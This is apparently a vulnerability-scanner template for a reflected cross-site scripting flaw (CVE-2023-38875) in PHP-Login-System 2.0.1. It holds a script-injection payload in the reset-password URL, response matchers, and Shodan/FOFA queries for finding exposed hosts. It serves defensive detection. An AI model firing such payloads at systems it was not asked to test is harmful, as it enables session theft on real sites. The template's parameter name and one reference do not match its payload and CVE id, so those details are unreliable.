id: CVE-2023-38875

info:
  name: PHP Login System 2.0.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
  remediation: |
    Implement proper input validation and output encoding for the 'validator' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38876
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38875
    cwe-id: CWE-79
    epss-score: 0.00824
    epss-percentile: 0.52527
    cpe: cpe:2.3:a:msaad1999:php-login-system:2.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: msaad1999
    product: php-login-system
    shodan-query: http.html:"klik_loginsystem"
    fofa-query: body="klik_loginsystem"
  tags: cve,cve2023,xss,php-login-system

http:
  - method: GET
    path:
      - '{{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f33d95ec5b15497a20f7ed1e08779377c5b67425a482f2a44c7de79edc4fde2f0220391c02dd3eb590f30df9f1ad5c2f8b5ce5a703e8d7eea402ffc3b6546e1dc9a1:922c64590222798bb761d5b6d8e72950